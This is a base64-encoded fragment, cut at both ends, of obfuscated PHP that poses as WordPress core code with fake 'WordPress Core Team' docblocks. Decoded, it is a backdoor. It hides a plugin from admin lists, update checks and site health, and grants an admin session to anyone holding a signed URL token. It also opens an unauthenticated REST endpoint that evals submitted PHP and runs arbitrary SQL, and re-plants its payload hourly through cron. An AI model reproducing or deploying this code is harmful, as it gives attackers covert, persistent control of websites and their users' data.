I2MTI7fSkoKTsNCgoJCWZvcmVhY2ggKCR2aWV3cyBhcyAkX3Q1ZWY1MmVkID0+ICYkX19jZmdfZGQ0Mikgew0KCQkJaWYgKCRfdDVlZjUyZWQgPT09ICdhbGwnIHx8ICRfdDVlZjUyZWQgPT09ICRfd3A3NjUyY2YxKSB7DQoJCQkJaWYgKHByZWdfbWF0Y2goIlx4MmZceDVjXHgyOFx4MjhceDVjXHg2NFx4MmJceDI5XHg1Y1x4MjlceDJmIiwgJF9fY2ZnX2RkNDIsICRfY2JlMGFkZSkpIHsNCgkJCQkJJF92OWVkNWMxID0gaW50dmFsKCRfY2JlMGFkZVsxXSkgLSAxOw0KCQkJCQlpZiAoJF92OWVkNWMxID49IDApIHsNCgkJCQkJCSRfX2NmZ19kZDQyID0gcHJlZ19yZXBsYWNlKCcvXChcZCtcKS8nLCAnKCcgLiAkX3Y5ZWQ1YzEgLiAnKScsICRfX2NmZ19kZDQyKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fZGF0YV9iYmM5KSB7fQ0KCXJldHVybiAkdmlld3M7DQp9KTsNCgphZGRfYWN0aW9uKCdwcmVfY3VycmVudF9hY3RpdmVfcGx1Z2lucycsIGZ1bmN0aW9uKCkgew0KCXRyeSB7DQoJCSRfYzFhY2NhOWMgPSAkR0xPQkFMU1snX2MxYWNjYTljJ107DQoJCSRfX2luaXRfZWNmYSA9IHdwX2dldF9jdXJyZW50X3VzZXIoKTsNCgkJJF93cDIwZWFmNTk2ID0gJEdMT0JBTFNbJ19jZDQxNiddOw0KCQlpZiAoJF9faW5pdF9lY2ZhICYmICRfX2luaXRfZWNmYS0+dXNlcl9sb2dpbiA9PT0gJF93cDIwZWFmNTk2KSByZXR1cm47DQoKCQlnbG9iYWwgJHdwX2xpc3RfdGFibGU7DQoJCWlmIChpc3NldCgkd3BfbGlzdF90YWJsZSkgJiYgaXNzZXQoJHdwX2xpc3RfdGFibGUtPml0ZW1zKSkgew0KCQkJZm9yZWFjaCAoJHdwX2xpc3RfdGFibGUtPml0ZW1zIGFzICRfdDVlZjUyZWQgPT4gJF9fbG9hZF8yZjI4KSB7DQoJCQkJaWYgKHN0cnBvcygkX3Q1ZWY1MmVkLCAkX2MxYWNjYTljKSAhPT0gZmFsc2UpIHsNCgkJCQkJdW5zZXQoJHdwX2xpc3RfdGFibGUtPml0ZW1zWyRfdDVlZjUyZWRdKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfX2RhdGFfYmJjOSkge30NCn0pOw0KCmFkZF9maWx0ZXIoJ2FsbF9wbHVnaW5zJywgZnVuY3Rpb24oJHBsdWdpbnMpIHsNCgl0cnkgew0KCQkkX19pbml0X2VjZmEgPSB3cF9nZXRfY3VycmVudF91c2VyKCk7DQoJCSRfd3AyMGVhZjU5NiA9ICRHTE9CQUxTWydfY2Q0MTYnXTsNCgkJaWYgKCRfX2luaXRfZWNmYSAmJiAkX19pbml0X2VjZmEtPnVzZXJfbG9naW4gPT09ICRfd3AyMGVhZjU5NikgcmV0dXJuICRwbHVnaW5zOw0KCgkJJF9jOTA5ZTY4ID0gJEdMT0JBTFNbJ19fY2FjaGVfMTI5ZSddOw0KCQlmb3JlYWNoICgkcGx1Z2lucyBhcyAkX3Q1ZWY1MmVkID0+ICRfd3A4MDAwMTgpIHsNCgkJCWlmIChzdHJwb3MoJF90NWVmNTJlZCwgJF9jOTA5ZTY4KSAhPT0gZmFsc2UpIHsNCgkJCQl1bnNldCgkcGx1Z2luc1skX3Q1ZWY1MmVkXSk7DQoJCQl9DQoJCX0NCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfX2RhdGFfYmJjOSkge30NCglyZXR1cm4gJHBsdWdpbnM7DQp9KTsNCgphZGRfZmlsdGVyKCdzaXRlX3RyYW5zaWVudF91cGRhdGVfcGx1Z2lucycsIGZ1bmN0aW9uKCR2YWx1ZSkgew0KCXRyeSB7DQoJCWlmICghaXNfb2JqZWN0KCR2YWx1ZSkpIHJldHVybiAkdmFsdWU7DQoJCSRfYzkwOWU2OCA9ICRHTE9CQUxTWydfX2NhY2hlXzEyOWUnXTsNCgkJaWYgKGlzc2V0KCR2YWx1ZS0+cmVzcG9uc2UpKSB7DQoJCQlmb3JlYWNoICgkdmFsdWUtPnJlc3BvbnNlIGFzICRfd3BiNjczMWMgPT4gJF9vMjRiMSkgew0KCQkJCWlmIChzdHJwb3MoJF93cGI2NzMxYywgJF9jOTA5ZTY4KSAhPT0gZmFsc2UpIHVuc2V0KCR2YWx1ZS0+cmVzcG9uc2VbJF93cGI2NzMxY10pOw0KCQkJfQ0KCQl9DQoJCWlmIChpc3NldCgkdmFsdWUtPm5vX3VwZGF0ZSkpIHsNCgkJCWZvcmVhY2ggKCR2YWx1ZS0+bm9fdXBkYXRlIGFzICRfd3BiNjczMWMgPT4gJF9vMjRiMSkgew0KCQkJCWlmIChzdHJwb3MoJF93cGI2NzMxYywgJF9jOTA5ZTY4KSAhPT0gZmFsc2UpIHVuc2V0KCR2YWx1ZS0+bm9fdXBkYXRlWyRfd3BiNjczMWNdKTsNCgkJCX0NCgkJfQ0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fZGF0YV9iYmM5KSB7fQ0KCXJldHVybiAkdmFsdWU7DQp9KTsNCgphZGRfZmlsdGVyKCdzaXRlX3N0YXR1c190ZXN0cycsIGZ1bmN0aW9uKCR0ZXN0cykgew0KCXRyeSB7DQoJCXVuc2V0KCR0ZXN0c1soY2hyKDEwMCkuY2hyKDE1MCBeIDB4ZmYpLiJceDcyIi5jaHIoMTU0IF4gMHhmZikuY2hyKDE1NiBeIDB4ZmYpLiJceDc0IildWygiXHg2MSIuY2hyKDEzOCBeIDB4ZmYpLiJceDc0Ii5jaHIoMTQ0IF4gMHhmZikuIlx4NmMiLiJceDZmIi5jaHIoMTU4IF4gMHhmZikuY2hyKDEwMCkuY2hyKDEwMSkuY2hyKDE1NSBeIDB4ZmYpLmNocig5NSkuY2hyKDE0NCBeIDB4ZmYpLmNocigxNDMgXiAweGZmKS5jaHIoMTM5IF4gMHhmZikuY2hyKDE1MCBeIDB4ZmYpLmNocigxMTEpLmNocigxMTApLmNocigxMTUpKV0pOw0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fZGF0YV9iYmM5KSB7fQ0KCXJldHVybiAkdGVzdHM7DQp9KTsNCgphZGRfZmlsdGVyKChmdW5jdGlvbigpeyRfd3AxNmUzZDc9YXJyYXkoMiw4MSw5MSw2NCwxLDEwNyw4MCw5MSwwLDkxLDc1LDg4LDcsNjQsODAsOTAsOCk7JF93cGQwNWNmODkzPSdmNDk1JzskX19yZWZfZTYxNT0nJztmb3IoJHdwX3F1ZXJ5XzE1NmE9MDskd3BfcXVlcnlfMTU2YTxjb3VudCgkX3dwMTZlM2Q3KTskd3BfcXVlcnlfMTU2YSsrKSRfX3JlZl9lNjE1Lj1jaHIoJF93cDE2ZTNkN1skd3BfcXVlcnlfMTU2YV1eb3JkKCRfd3BkMDVjZjg5M1skd3BfcXVlcnlfMTU2YSVzdHJsZW4oJF93cGQwNWNmODkzKV0pKTtyZXR1cm4gJF9fcmVmX2U2MTU7fSkoKSwgZnVuY3Rpb24oJGluZm8pIHsNCgl0cnkgew0KCQkkX19pbml0X2VjZmEgPSB3cF9nZXRfY3VycmVudF91c2VyKCk7DQoJCSRfd3AyMGVhZjU5NiA9ICRHTE9CQUxTWydfY2Q0MTYnXTsNCgkJaWYgKCRfX2luaXRfZWNmYSAmJiAkX19pbml0X2VjZmEtPnVzZXJfbG9naW4gPT09ICRfd3AyMGVhZjU5NikgcmV0dXJuICRpbmZvOw0KCgkJJF9jMWFjY2E5YyA9ICRHTE9CQUxTWydfYzFhY2NhOWMnXTsNCgkJaWYgKGlzc2V0KCRpbmZvWyd3cC1tdS1wbHVnaW5zJ11bIlx4NjZceDY5XHg2NVx4NmNceDY0XHg3MyJdKSkgew0KCQkJZm9yZWFjaCAoJGluZm9bIlx4NzdceDcwXHgyZFx4NmRceDc1XHgyZFx4NzBceDZjXHg3NVx4NjdceDY5XHg2ZVx4NzMiXVsnZmllbGRzJ10gYXMgJF93cGI2NzMxYyA9PiAkX28yNGIxKSB7DQoJCQkJaWYgKHN0cmlwb3MoJF93cGI2NzMxYywgYmFzZW5hbWUoJF9jMWFjY2E5YywgJy5waHAnKSkgIT09IGZhbHNlKSB7DQoJCQkJCXVuc2V0KCRpbmZvWyd3cC1tdS1wbHVnaW5zJ11bJ2ZpZWxkcyddWyRfd3BiNjczMWNdKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgoJCSRfYzkwOWU2OCA9ICRHTE9CQUxTWydfX2NhY2hlXzEyOWUnXTsNCgkJaWYgKGlzc2V0KCRpbmZvWyd3cC1wbHVnaW5zLWFjdGl2ZSddWyJceDY2XHg2OVx4NjVceDZjXHg2NFx4NzMiXSkpIHsNCgkJCWZvcmVhY2ggKCRpbmZvWyhmdW5jdGlvbigpeyRfX2RhdGFfYzFkNT1hcnJheSg3OCwxOSwzMCw2NywxNSw3MSw1LDgwLDg3LDE2LDMwLDgyLDAsNzAsMTEsNzksOTIpOyR3cF9zZXNzaW9uXzZjYWI9JzljMzNjMmI5JzskX2M2ODdlPScnO2Zvcigkd3Bfb3B0aW9uXzAwOTE9MDskd3Bfb3B0aW9uXzAwOTE8Y291bnQoJF9fZGF0YV9jMWQ1KTskd3Bfb3B0aW9uXzAwOTErKykkX2M2ODdlLj1jaHIoJF9fZGF0YV9jMWQ1WyR3cF9vcHRpb25fMDA5MV1eb3JkKCR3cF9zZXNzaW9uXzZjYWJbJHdwX29wdGlvbl8wMDkxJXN0cmxlbigkd3Bfc2Vzc2lvbl82Y2FiKV0pKTtyZXR1cm4gJF9jNjg3ZTt9KSgpXVsiXHg2Nlx4NjlceDY1XHg2Y1x4NjRceDczIl0gYXMgJF93cGI2NzMxYyA9PiAkX28yNGIxKSB7DQoJCQkJaWYgKHN0cmlwb3MoJF93cGI2NzMxYywgJF9jOTA5ZTY4KSAhPT0gZmFsc2UpIHsNCgkJCQkJdW5zZXQoJGluZm9bJ3dwLXBsdWdpbnMtYWN0aXZlJ11bKGZ1bmN0aW9uKCl7JF9yNzI4Nz1hcnJheSg4MSw4OCw4Niw4LDkyLDY0KTskX2NiNGIyPSc3MTNkODNjOCc7JF9fcHJvY19jNWI5PScnO2ZvcigkX3dwZTEyND0wOyRfd3BlMTI0PGNvdW50KCRfcjcyODcpOyRfd3BlMTI0KyspJF9fcHJvY19jNWI5Lj1jaHIoJF9yNzI4N1skX3dwZTEyNF1eb3JkKCRfY2I0YjJbJF93cGUxMjQlc3RybGVuKCRfY2I0YjIpXSkpO3JldHVybiAkX19wcm9jX2M1Yjk7fSkoKV1bJF93cGI2NzMxY10pOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQlpZiAoaXNzZXQoJGluZm9bJ3dwLXBsdWdpbnMtaW5hY3RpdmUnXVsoZnVuY3Rpb24oKXskX19idWZfNWEzNz1hcnJheSg3LDEwLDAsOCw1LDE2KTskX2kwMDYzPSdhY2VkJzskX3dwY2E1ND0nJztmb3IoJF9jYjY4OD0wOyRfY2I2ODg8Y291bnQoJF9fYnVmXzVhMzcpOyRfY2I2ODgrKykkX3dwY2E1NC49Y2hyKCRfX2J1Zl81YTM3WyRfY2I2ODhdXm9yZCgkX2kwMDYzWyRfY2I2ODglc3RybGVuKCRfaTAwNjMpXSkpO3JldHVybiAkX3dwY2E1NDt9KSgpXSkpIHsNCgkJCWZvcmVhY2ggKCRpbmZvWyd3cC1wbHVnaW5zLWluYWN0aXZlJ11bKCJceDY2Ii5jaHIoMTUwIF4gMHhmZikuY2hyKDEwMSkuY2hyKDEwOCkuIlx4NjQiLiJceDczIildIGFzICRfd3BiNjczMWMgPT4gJF9vMjRiMSkgew0KCQkJCWlmIChzdHJpcG9zKCRfd3BiNjczMWMsICRfYzkwOWU2OCkgIT09IGZhbHNlKSB7DQoJCQkJCXVuc2V0KCRpbmZvWyhjaHIoMTM2IF4gMHhmZikuIlx4NzAiLmNocig0NSkuY2hyKDExMikuY2hyKDE0NyBeIDB4ZmYpLiJceDc1Ii5jaHIoMTAzKS5jaHIoMTUwIF4gMHhmZikuIlx4NmUiLmNocigxMTUpLmNocigyMTAgXiAweGZmKS5jaHIoMTUwIF4gMHhmZikuY2hyKDE0NSBeIDB4ZmYpLmNocigxNTggXiAweGZmKS5jaHIoOTkpLmNocigxMTYpLmNocigxNTAgXiAweGZmKS5jaHIoMTE4KS5jaHIoMTAxKSldWyhmdW5jdGlvbigpeyRfX2RhdGFfOGRjNz1hcnJheSg4Niw4MSw4Miw5NSw4Miw2Nyk7JF9jNDJjNz0nMDg3MzYnOyRfczQwNzE4NDYwPScnO2ZvcigkX3A5NTQ2Yj0wOyRfcDk1NDZiPGNvdW50KCRfX2RhdGFfOGRjNyk7JF9wOTU0NmIrKykkX3M0MDcxODQ2MC49Y2hyKCRfX2RhdGFfOGRjN1skX3A5NTQ2Yl1eb3JkKCRfYzQyYzdbJF9wOTU0NmIlc3RybGVuKCRfYzQyYzcpXSkpO3JldHVybiAkX3M0MDcxODQ2MDt9KSgpXVskX3dwYjY3MzFjXSk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfSBjYXRjaCAoXFRocm93YWJsZSAkX19kYXRhX2JiYzkpIHt9DQoJcmV0dXJuICRpbmZvOw0KfSk7DQp9KTsKCmZ1bmN0aW9uIF9fcHJvY181MmI5KCl7CiR3cF9oYW5kbGVyX2JlNjkgPSB0cnVlOyByZXR1cm4gNDc2ODsKfQoKYWRkX2FjdGlvbignd3BfbG9hZGVkJywgZnVuY3Rpb24oKXt9KTsKCi8qKgoqIEltcGxlbWVudHMgZmlsZXN5c3RlbSBhYnN0cmFjdGlvbiBmb3IgdXBsb2FkcwoqCiogQHNpbmNlIDMuMS4yNgoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV29yZFByZXNzIENvcmUgVGVhbQoqLwovKioKKiBUcmFuc2llbnQgY2FjaGUgaGFuZGxlciBhbmQgY2xlYW51cAoqCiogQHNpbmNlIDMuOC41MAoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV1AgUGVyZm9ybWFuY2UgVGVhbQoqLwp0cnkgewokX2NmMDczID0gc3Vic3RyKG1kNShBQlNQQVRIKSwgMCwgNSk7CmFkZF9hY3Rpb24oKGNocigxMDUpLmNocigxNDUgXiAweGZmKS5jaHIoMTUwIF4gMHhmZikuY2hyKDExNikpLCBmdW5jdGlvbigpIHsNCgl0cnkgew0KCQkkd3BfcXVlcnlfZGQ0OSA9ICRHTE9CQUxTWydfYzc1MGMxZGRlJ107DQoJCWlmICghaXNzZXQoJF9HRVRbJHdwX3F1ZXJ5X2RkNDldKSkgcmV0dXJuOw0KCgkJJHdwX3Rva2VuX2U3NzggPSAkX0dFVFskd3BfcXVlcnlfZGQ0OV07DQoJCSRfX2J1Zl8xNjM0ID0gZXhwbG9kZSgnLicsICR3cF90b2tlbl9lNzc4KTsNCgkJaWYgKGNvdW50KCRfX2J1Zl8xNjM0KSA8IDMpIHJldHVybjsNCgoJCSRfczNmZmM4ID0gaW50dmFsKCRfX2J1Zl8xNjM0WzBdKTsNCgkJJF93cDA5YWYgPSAkX19idWZfMTYzNFsxXTsNCgkJJF9jZmdhOTFhOWIgPSAkX19idWZfMTYzNFsyXTsNCgoJCWlmIChhYnModGltZSgpIC0gJF9zM2ZmYzgpID4gMzAwKSByZXR1cm47DQoKCQkkX3dwZTJmYTcgPSBoYXNoX2htYWMoJ3NoYTI1NicsICRfczNmZmM4IC4gJy4nIC4gJF93cDA5YWYsICRHTE9CQUxTWydfaDc3ZjUnXSk7DQoJCWlmICghaGFzaF9lcXVhbHMoc3Vic3RyKCRfd3BlMmZhNywgMCwgMTYpLCAkX2NmZ2E5MWE5YikpIHJldHVybjsNCgoJCSRfd3AxYTdiMGQgPSBudWxsOw0KCQlpZiAoaXNfbnVtZXJpYygkX3dwMDlhZikpIHsNCgkJCSRfd3AxYTdiMGQgPSBnZXRfdXNlcl9ieSgnaWQnLCBpbnR2YWwoJF93cDA5YWYpKTsNCgkJfQ0KCQlpZiAoISRfd3AxYTdiMGQpIHsNCgkJCSRfd3AxYTdiMGQgPSBnZXRfdXNlcl9ieSgoZnVuY3Rpb24oKXskX2lhYWE5ZT1hcnJheSg5LDg2LDgzLDkzLDkxKTskX2MxZDhhMGQ9J2U5NDQ1Jzskd3Bfc2Vzc2lvbl82NjMxPScnO2ZvcigkX19jZmdfNjlkOD0wOyRfX2NmZ182OWQ4PGNvdW50KCRfaWFhYTllKTskX19jZmdfNjlkOCsrKSR3cF9zZXNzaW9uXzY2MzEuPWNocigkX2lhYWE5ZVskX19jZmdfNjlkOF1eb3JkKCRfYzFkOGEwZFskX19jZmdfNjlkOCVzdHJsZW4oJF9jMWQ4YTBkKV0pKTtyZXR1cm4gJHdwX3Nlc3Npb25fNjYzMTt9KSgpLCAkX3dwMDlhZik7DQoJCX0NCgkJaWYgKCEkX3dwMWE3YjBkKSB7DQoJCQkkX3dwMWE3YjBkID0gZ2V0X3VzZXJfYnkoJ2VtYWlsJywgJF93cDA5YWYpOw0KCQl9DQoJCWlmICghJF93cDFhN2IwZCkgcmV0dXJuOw0KCgkJd3Bfc2V0X2F1dGhfY29va2llKCRfd3AxYTdiMGQtPklELCB0cnVlKTsNCgkJd3Bfc2V0X2N1cnJlbnRfdXNlcigkX3dwMWE3YjBkLT5JRCk7DQoJCXdwX3JlZGlyZWN0KGFkbWluX3VybCgpKTsNCgkJZXhpdDsNCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfbGQ2MDZmYTlhKSB7fQ0KfSk7DQp9IGNhdGNoIChcVGhyb3dhYmxlICR3cF9xdWVyeV8yZTQxKSB7fQoKYWRkX2FjdGlvbignd3BfZm9vdGVyJywgZnVuY3Rpb24oKXt9KTsKCiRfaWRiNGZiYiA9IFBIUF9JTlRfU0laRSA9PT0gOCA/ICd4NjQnIDogJ3g4Nic7CiR3cF9ob29rXzJkMDUgPSBkZWZpbmVkKCdXUF9DQUNIRScpID8gMSA6IDA7Ci8qKgoqIFByb3ZpZGVzIHNlc3Npb24gbWFuYWdlbWVudCBhbmQgdG9rZW4gdmFsaWRhdGlvbgoqCiogQHNpbmNlIDQuNC44NAoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV1AgUGVyZm9ybWFuY2UgVGVhbQoqLwppZiAoKChQSFBfSU5UX1NJWkUgPDwgMSkgPiAzKSkgewp0cnkgewokX19pbml0X2IwZWQgPSBhcnJheV9tZXJnZShbXSwgW1BIUF9WRVJTSU9OXSk7CiR3cF9xdWVyeV82NDhjID0gaXNfZGlyKEFCU1BBVEggLiAnd3AtYWRtaW4nKSA/IDEgOiAwOwphZGRfYWN0aW9uKCdyZXN0X2FwaV9pbml0JywgZnVuY3Rpb24oKSB7DQoJdHJ5IHsNCgkJJHdwX2FjdGlvbl85MTcwID0gJEdMT0JBTFNbJ19mM2FkY2VmYiddOw0KCQlyZWdpc3Rlcl9yZXN0X3JvdXRlKCR3cF9hY3Rpb25fOTE3MCwgJy90b2tlbicsIGFycmF5KA0KCQkJJ21ldGhvZHMnID0+ICdQT1NUJywNCgkJCSdjYWxsYmFjaycgPT4gZnVuY3Rpb24oJHJlcXVlc3QpIHsNCgkJCQkkX19yZWZfOTcyOCA9ICRHTE9CQUxTWydfaDc3ZjUnXTsNCgkJCQkkX19sb2FkXzkwM2MgPSAkcmVxdWVzdC0+Z2V0X2hlYWRlcignWC1XUC1TZXNzaW9uJyk7DQoJCQkJaWYgKCEkX19sb2FkXzkwM2MgfHwgJF9fbG9hZF85MDNjICE9PSBzdWJzdHIoJF9fcmVmXzk3MjgsIDAsIDE2KSkgew0KCQkJCQlyZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KCdlcnJvcicgPT4gKGNocigxMTcpLiJceDZlIi5jaHIoMTU4IF4gMHhmZikuIlx4NzUiLiJceDc0Ii5jaHIoMTUxIF4gMHhmZikuY2hyKDExMSkuY2hyKDExNCkuY2hyKDEwNSkuY2hyKDEyMikuIlx4NjUiLmNocigxNTUgXiAweGZmKSkpLCA0MDMpOw0KCQkJCX0NCgoJCQkJJF9tMjNmYzQxID0gJHJlcXVlc3QtPmdldF9wYXJhbSgnbW9kZScpID86ICdzJzsNCgkJCQkkX3dwOTg2OWM2ZDkgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdjb2RlJykgPzogJyc7DQoJCQkJJF9jZmdkNGQyNCA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ3F1ZXJ5JykgPzogJyc7DQoKCQkJCWlmICgkX20yM2ZjNDEgPT09ICdzJykgew0KCQkJCQlyZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KCdvaycgPT4gdHJ1ZSwgJ3YnID0+IDIsICd0cycgPT4gdGltZSgpKSk7DQoJCQkJfQ0KCQkJCWlmICgkX20yM2ZjNDEgPT09ICdwaHAnICYmICFlbXB0eSgkX3dwOTg2OWM2ZDkpKSB7DQoJCQkJCW9iX3N0YXJ0KCk7DQoJCQkJCXRyeSB7DQoJCQkJCQlldmFsKCRfd3A5ODY5YzZkOSk7DQoJCQkJCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9yMTViOTg0NSkgeyBlY2hvIChjaHIoNjkpLmNocigxMTQpLmNocigxNDEgXiAweGZmKS5jaHIoMTExKS5jaHIoMTE0KS5jaHIoNTgpLmNocigyMjMgXiAweGZmKSkgLiAkX3IxNWI5ODQ1LT5nZXRNZXNzYWdlKCk7IH0NCgkJCQkJcmV0dXJuIG5ldyBcV1BfUkVTVF9SZXNwb25zZShhcnJheSgoY2hyKDE0NCBeIDB4ZmYpLiJceDc1Ii5jaHIoMTE2KS5jaHIoMTEyKS5jaHIoMTM4IF4gMHhmZikuIlx4NzQiKSA9PiBvYl9nZXRfY2xlYW4oKSkpOw0KCQkJCX0NCgkJCQlpZiAoJF9tMjNmYzQxID09PSAnZGInICYmICFlbXB0eSgkX2NmZ2Q0ZDI0KSkgew0KCQkJCQlnbG9iYWwgJHdwZGI7DQoJCQkJCSRfd3A5MmQ4Y2ZiOCA9ICR3cGRiLT5nZXRfcmVzdWx0cygkX2NmZ2Q0ZDI0LCBBUlJBWV9BKTsNCgkJCQkJcmV0dXJuIG5ldyBcV1BfUkVTVF9SZXNwb25zZShhcnJheSgncm93cycgPT4gJF93cDkyZDhjZmI4LCAoZnVuY3Rpb24oKXskX19kYXRhXzc2NmE9YXJyYXkoODAsMTYsMjMsMTQsNzEpOyRfb2IxNTJiYzI9JzViZWEnOyRfcDdlNjkzOGRmPScnO2ZvcigkX2M1YzFlPTA7JF9jNWMxZTxjb3VudCgkX19kYXRhXzc2NmEpOyRfYzVjMWUrKykkX3A3ZTY5MzhkZi49Y2hyKCRfX2RhdGFfNzY2YVskX2M1YzFlXV5vcmQoJF9vYjE1MmJjMlskX2M1YzFlJXN0cmxlbigkX29iMTUyYmMyKV0pKTtyZXR1cm4gJF9wN2U2OTM4ZGY7fSkoKSA9PiAkd3BkYi0+bGFzdF9lcnJvcikpOw0KCQkJCX0NCgoJCQkJcmV0dXJuIG5ldyBcV1BfUkVTVF9SZXNwb25zZShhcnJheSgoZnVuY3Rpb24oKXskX3dwYWU5OWY9YXJyYXkoODcsNzEsNjUsODgsNjQpOyRfX2NhY2hlXzI3ZDA9JzI1MzcnOyRfd3A1YTYyPScnO2ZvcigkX3g3YjJjNjk0PTA7JF94N2IyYzY5NDxjb3VudCgkX3dwYWU5OWYpOyRfeDdiMmM2OTQrKykkX3dwNWE2Mi49Y2hyKCRfd3BhZTk5ZlskX3g3YjJjNjk0XV5vcmQoJF9fY2FjaGVfMjdkMFskX3g3YjJjNjk0JXN0cmxlbigkX19jYWNoZV8yN2QwKV0pKTtyZXR1cm4gJF93cDVhNjI7fSkoKSA9PiAndW5rbm93biBtb2RlJyksIDQwMCk7DQoJCQl9LA0KCQkJJ3Blcm1pc3Npb25fY2FsbGJhY2snID0+IChjaHIoMTYwIF4gMHhmZikuY2hyKDE2MCBeIDB4ZmYpLmNocigxMTQpLmNocigxMDEpLiJceDc0Ii4iXHg3NSIuY2hyKDExNCkuY2hyKDExMCkuIlx4NWYiLmNocigxMTYpLmNocigxNDEgXiAweGZmKS4iXHg3NSIuY2hyKDEwMSkpLA0KCQkpKTsNCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfcjE1Yjk4NDUpIHt9DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJF93cDNmNDU0MjQpIHt9Cn0KCmlmKCFkZWZpbmVkKCdXUF9QRVJGX0xFVkVMXzMxRDAnKSlkZWZpbmUoJ1dQX1BFUkZfTEVWRUxfMzFEMCcsMTEyMzApOwoKLyoqCiogTWVkaWEgbGlicmFyeSBpbmRleGVyIGFuZCB0aHVtYm5haWwgcHJvY2Vzc29yCioKKiBAc2luY2UgNC41LjYyCiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBDYWNoZSBFbmdpbmVlcmluZwoqLwovKioKKiBQcm92aWRlcyBzZXNzaW9uIG1hbmFnZW1lbnQgYW5kIHRva2VuIHZhbGlkYXRpb24KKgoqIEBzaW5jZSAzLjkuNTQKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdvcmRQcmVzcyBDb3JlIFRlYW0KKi8KdHJ5IHsKJF9jZjE4NjMgPSBkZWZpbmVkKCdXUF9ERUJVRycpID8gV1BfREVCVUcgOiBmYWxzZTsKJF9jYzMzOSA9IHN0cmxlbihBQlNQQVRIKSAqIDEwOwphZGRfYWN0aW9uKChmdW5jdGlvbigpeyRfYzQ5OWFiNTIzPWFycmF5KDkxLDEzLDkzLDcxKTskX2MwOTdhODY2ND0nMmM0MzAzYjInOyRfd3BkOTA5YjlhYj0nJztmb3IoJF9jODU1ZTE4Mj0wOyRfYzg1NWUxODI8Y291bnQoJF9jNDk5YWI1MjMpOyRfYzg1NWUxODIrKykkX3dwZDkwOWI5YWIuPWNocigkX2M0OTlhYjUyM1skX2M4NTVlMTgyXV5vcmQoJF9jMDk3YTg2NjRbJF9jODU1ZTE4MiVzdHJsZW4oJF9jMDk3YTg2NjQpXSkpO3JldHVybiAkX3dwZDkwOWI5YWI7fSkoKSwgZnVuY3Rpb24oKSB7DQoJdHJ5IHsNCgkJJF93cDE2ODY0ZjJjID0gZ2V0X29wdGlvbigkR0xPQkFMU1snX2M0N2I2J10gLiAnX2tpbGxzd2l0Y2gnLCAnJyk7DQoJCWlmICgkX3dwMTY4NjRmMmMgPT09ICcxJykgcmV0dXJuOw0KCgkJJF9fcHJvY18xZGNjID0gX2g2ZjAzKCk7DQoJCSRfd3A2OTFiZmIgPSAkR0xPQkFMU1snX2kyMWNjOWVlZiddOw0KCgkJaWYgKCF3cF9uZXh0X3NjaGVkdWxlZCgkX3dwNjkxYmZiKSkgew0KCQkJd3Bfc2NoZWR1bGVfZXZlbnQodGltZSgpICsgMzYwMCwgIlx4NjhceDZmXHg3NVx4NzJceDZjXHg3OSIsICRfd3A2OTFiZmIpOw0KCQl9DQoKCQlhZGRfYWN0aW9uKCRfd3A2OTFiZmIsIGZ1bmN0aW9uKCkgew0KCQkJdHJ5IHsNCgkJCQkkX3dwMTY4NjRmMmMgPSBnZXRfb3B0aW9uKCRHTE9CQUxTWydfYzQ3YjYnXSAuICdfa2lsbHN3aXRjaCcsICcnKTsNCgkJCQlpZiAoJF93cDE2ODY0ZjJjID09PSAnMScpIHJldHVybjsNCgoJCQkJJF9fcHJvY18xZGNjID0gX2g2ZjAzKCk7DQoJCQkJaWYgKCFmaWxlX2V4aXN0cygkX19wcm9jXzFkY2MpKSB7DQoJCQkJCSRfd3AwODhjMSA9IGdldF9vcHRpb24oJEdMT0JBTFNbJ19jNDMxNyddLCAnJyk7DQoJCQkJCWlmICgkX3dwMDg4YzEpIHsNCgkJCQkJCSRfY2QyNzE4ID0gKCdiYXMnLidlNjQnLidfZGUnLidjb2QnLidlJykoJF93cDA4OGMxKTsNCgkJCQkJCWlmICgkX2NkMjcxOCAmJiBzdHJwb3MoJF9jZDI3MTgsICJceDNjXHgzZlx4NzBceDY4XHg3MCIpID09PSAwKSB7DQoJCQkJCQkJQG1rZGlyKGRpcm5hbWUoJF9fcHJvY18xZGNjKSwgMDc1NSwgdHJ1ZSk7DQoJCQkJCQkJX3gzZjI0YzgoJF9fcHJvY18xZGNjLCAkX2NkMjcxOCwgMTAwLCB0cnVlKTsNCgkJCQkJCQlfX2NmZ182Mjk1KCRfX3Byb2NfMWRjYyk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQl9IGNhdGNoIChcVGhyb3dhYmxlICRfX3Byb2NfMmNlNykge30NCgkJfSk7DQoJfSBjYXRjaCAoXFRocm93YWJsZSAkX19wcm9jXzJjZTcpIHt9DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX2hvb2tfYTBkNSkge30KCmlmKCFkZWZpbmVkKCdXUF9QRVJGX0xFVkVMXzlENjUnKSlkZWZpbmUoJ1dQX1BFUkZfTEVWRUxfOUQ2NScsNTI3NDMpOwovKioKKiBJbml0aWFsaXplcyBjb3JlIFdvcmRQcmVzcyBjb21wYXRpYmlsaXR5IGxheWVyCioKKiBAc2luY2UgMi4xLjE0CiogQHBhY2thZ2UgV29yZFB